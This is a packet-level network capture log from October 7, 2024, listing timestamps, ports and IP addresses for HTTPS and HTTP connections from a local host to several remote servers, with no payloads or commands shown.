Oct 7, 2024 20:59:37.475052118 CEST	443	49808	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.475241899 CEST	49808	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.475255966 CEST	443	49808	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.526108027 CEST	49808	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.850713968 CEST	443	49808	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.850872993 CEST	443	49808	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.850970984 CEST	49808	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.851747990 CEST	49808	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.851784945 CEST	443	49808	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.854156017 CEST	49810	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.854234934 CEST	443	49810	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:37.854347944 CEST	49810	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.854590893 CEST	49810	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:37.854628086 CEST	443	49810	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:38.301451921 CEST	443	49810	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:38.301800013 CEST	49810	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:38.301826954 CEST	443	49810	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:38.302922010 CEST	443	49810	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:38.303306103 CEST	49810	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:38.303508043 CEST	49810	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:38.303514004 CEST	443	49810	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:38.347481012 CEST	443	49810	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:38.355165005 CEST	49810	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:38.722987890 CEST	443	49810	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:38.723490000 CEST	443	49810	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:38.723576069 CEST	49810	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:38.723717928 CEST	49810	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:38.723761082 CEST	443	49810	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:38.723787069 CEST	49810	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:38.723824024 CEST	49810	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:38.726396084 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:38.726474047 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:38.726579905 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:38.726793051 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:38.726823092 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.335381985 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.335920095 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.335983992 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.336638927 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.337129116 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.337129116 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.337224007 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.337302923 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.379348040 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.826256990 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.826385021 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.826533079 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.826622009 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.826679945 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.826679945 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.826711893 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.826741934 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.826796055 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.826829910 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.826982975 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.827033997 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.827064037 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.827224016 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.827281952 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.827296972 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.831492901 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.831573009 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.831598997 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.831712961 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.831763983 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.831775904 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.831876993 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.831932068 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.831943989 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.832036018 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.832101107 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.832113028 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.832199097 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.832254887 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.832267046 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.832902908 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.833019972 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.833031893 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.833116055 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.833172083 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.833184004 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.833560944 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.833626986 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.833640099 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.833726883 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.833781958 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.833792925 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.834462881 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.834534883 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.834547997 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.834968090 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.835033894 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.835046053 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.835361004 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.835478067 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.835490942 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.835752964 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.835823059 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.835834980 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.844019890 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.844124079 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.844126940 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.844172001 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.844232082 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.844247103 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.846318960 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.846393108 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.846406937 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.850367069 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.850474119 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.850548983 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.850611925 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.850682974 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.856913090 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.862564087 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.862675905 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.862755060 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.862818003 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.862886906 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.868088007 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.873590946 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.873788118 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.873847961 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.878957033 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.879061937 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.879147053 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.879210949 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.879282951 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.884670019 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.889909029 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.889991045 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.890007973 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.890036106 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.890105963 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.895051003 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.899960041 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.900077105 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.900151014 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.900213957 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.900290966 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.904318094 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.908293009 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.908371925 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.908415079 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.912368059 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.912483931 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.912553072 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.912616014 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.912691116 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.916156054 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.919707060 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.919819117 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.919893980 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.919956923 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.920027018 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.923732042 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.927762985 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.927880049 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.927963018 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.928025961 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.928113937 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.931313038 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.933267117 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.933345079 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.933372974 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.935641050 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.935760975 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.935775995 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.937603951 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.937671900 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.937685966 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.939753056 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.939821959 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.939835072 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.942235947 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.942308903 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.942317009 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.942343950 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.942394972 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.944597960 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.944788933 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.944854975 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.944868088 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.946702957 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.946778059 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.946789980 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.948724031 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.948788881 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.948801041 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.951077938 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.951144934 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.951159000 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.953138113 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.953205109 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.953217030 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.955298901 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.955364943 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.955377102 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.957577944 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.957636118 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.957648039 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.959991932 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.960088968 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.960100889 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.962265968 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.962338924 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.962356091 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.964101076 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.964164019 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.964175940 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.966346025 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.966423035 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.966435909 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.968383074 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.968456030 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.968468904 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.971070051 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.971144915 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.971158028 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.973018885 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.973102093 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.973114014 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.975349903 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.975421906 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.975433111 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.977466106 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.977530956 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.977544069 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.979506969 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.979573965 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.979585886 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.982387066 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.982464075 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.982475996 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.983994007 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.984061003 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.984072924 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.986190081 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.986259937 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.986272097 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.988219976 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.988286018 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.988297939 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.990528107 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.990598917 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.990611076 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.992525101 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.992630005 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.992641926 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.995044947 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.995111942 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.995125055 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.996654987 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.996728897 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.996741056 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.999264956 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:39.999341011 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:39.999353886 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:40.000818014 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:40.000886917 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:40.000899076 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:40.002640963 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:40.002707958 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:40.002720118 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:40.005570889 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:40.005636930 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:40.005656004 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:40.006984949 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:40.007051945 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:40.007064104 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:40.008019924 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:40.008106947 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:40.008168936 CEST	49811	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:40.008193016 CEST	443	49811	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:42.074479103 CEST	49812	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:59:42.074548960 CEST	443	49812	142.250.186.164	192.168.2.16
Oct 7, 2024 20:59:42.074666977 CEST	49812	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:59:42.074871063 CEST	49812	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:59:42.074876070 CEST	443	49812	142.250.186.164	192.168.2.16
Oct 7, 2024 20:59:42.701778889 CEST	443	49812	142.250.186.164	192.168.2.16
Oct 7, 2024 20:59:42.702327013 CEST	49812	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:59:42.702388048 CEST	443	49812	142.250.186.164	192.168.2.16
Oct 7, 2024 20:59:42.703530073 CEST	443	49812	142.250.186.164	192.168.2.16
Oct 7, 2024 20:59:42.703954935 CEST	49812	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:59:42.704140902 CEST	443	49812	142.250.186.164	192.168.2.16
Oct 7, 2024 20:59:42.758299112 CEST	49812	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:59:43.576400995 CEST	49813	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:43.576489925 CEST	443	49813	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:43.576809883 CEST	49813	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:43.577099085 CEST	49813	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:43.577137947 CEST	443	49813	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:44.276525021 CEST	49701	80	192.168.2.16	192.229.221.95
Oct 7, 2024 20:59:44.580375910 CEST	49701	80	192.168.2.16	192.229.221.95
Oct 7, 2024 20:59:44.778937101 CEST	443	49813	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:44.779278994 CEST	49813	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:44.779340029 CEST	443	49813	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:44.780057907 CEST	80	49701	192.229.221.95	192.168.2.16
Oct 7, 2024 20:59:44.780862093 CEST	443	49813	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:44.780989885 CEST	49813	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:44.781241894 CEST	49813	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:44.781241894 CEST	49813	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:44.781290054 CEST	49813	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:44.781341076 CEST	443	49813	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:44.781410933 CEST	49813	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:44.781594038 CEST	49814	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:44.781646967 CEST	443	49814	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:44.781749964 CEST	49814	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:44.781944990 CEST	49814	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:44.781959057 CEST	443	49814	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:44.787873983 CEST	80	49701	192.229.221.95	192.168.2.16
Oct 7, 2024 20:59:44.788074017 CEST	49701	80	192.168.2.16	192.229.221.95
Oct 7, 2024 20:59:45.288019896 CEST	443	49814	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:45.288319111 CEST	49814	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:45.288345098 CEST	443	49814	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:45.288845062 CEST	443	49814	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:45.289127111 CEST	49814	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:45.289217949 CEST	443	49814	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:45.289259911 CEST	49814	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:45.331429005 CEST	443	49814	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:45.332190990 CEST	49814	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:45.690074921 CEST	443	49814	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:45.690387964 CEST	443	49814	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:45.690573931 CEST	49814	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:45.690735102 CEST	49814	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:45.690783024 CEST	443	49814	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:45.693604946 CEST	49815	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:45.693695068 CEST	443	49815	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:45.693793058 CEST	49815	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:45.694051981 CEST	49815	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:45.694091082 CEST	443	49815	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:46.169130087 CEST	443	49815	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:46.169449091 CEST	49815	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:46.169509888 CEST	443	49815	104.21.57.143	192.168.2.16
